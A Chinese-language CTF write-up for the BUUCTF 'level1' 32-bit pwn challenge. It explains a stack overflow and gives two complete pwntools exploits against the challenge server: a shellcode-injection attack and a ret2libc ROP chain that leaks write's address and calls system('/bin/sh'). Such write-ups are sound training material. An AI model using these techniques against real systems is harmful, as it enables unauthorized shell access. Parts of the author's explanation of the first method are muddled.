前言:
这是一道ret2shellcode类型的题目也是一道ret2libc的题目
查看题目
file和checksec查看文件信息

发现该文件为32位小程序,且保护未开,
丢入ida32查看相关信息

发现存在一个明显的栈溢出,

并未发现可以利用的/bin/shell 和system(),所以我们要自己写入shellcode来实现pwn下来这个程序
分析程序


bss段存在可读写权限,现在只需要将shellcode写入bss段,然后再跳转到printf的地址去借助printf的%p打印出shellcode从而getshell 但是该方法只能打穿本地,远程打不动
附上exp
#!/usr/bin/python2 from pwn import * #context.log_level='debug' r=remote("node4.buuoj.cn","27366") #r = process("./level1") r.recvuntil("What's this:") pay=0x88*"A"+0x4*"B"+p32(0x080484B7) r.send(pay) context(os='linux',arch='i386',log_level='debug') shellcode = asm(shellcraft.i386.sh()) r.recvuntil("What's this:") buf_addr=int(r.recv()[2:10],16) print(buf_addr) payload = shellcode+(0x8c-len(shellcode))*"A"+p32(buf_addr) r.send(payload) r.interactive()
新解法
借助ret2libc的方法去解这道题目,虽然原本题目没给libc所以本来应该是不用libc的,
远程是先调用了write函数,然后是function函数
利用write函数泄露libc版本,之后计算system函数和/bin/sh字符串的位置,最后构造rop链攻击获取shell
献上exp:
from pwn import * from LibcSearcher import * r = remote('node4.buuoj.cn',27366) elf = ELF("./level1") main_addr=0x80484b7 write_plt=elf.plt['write'] write_got=elf.got['write'] payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x6) r.send(payload) write_addr = u32(r.recv(4)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh') payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh) r.send(payload) r.interactive()
发表评论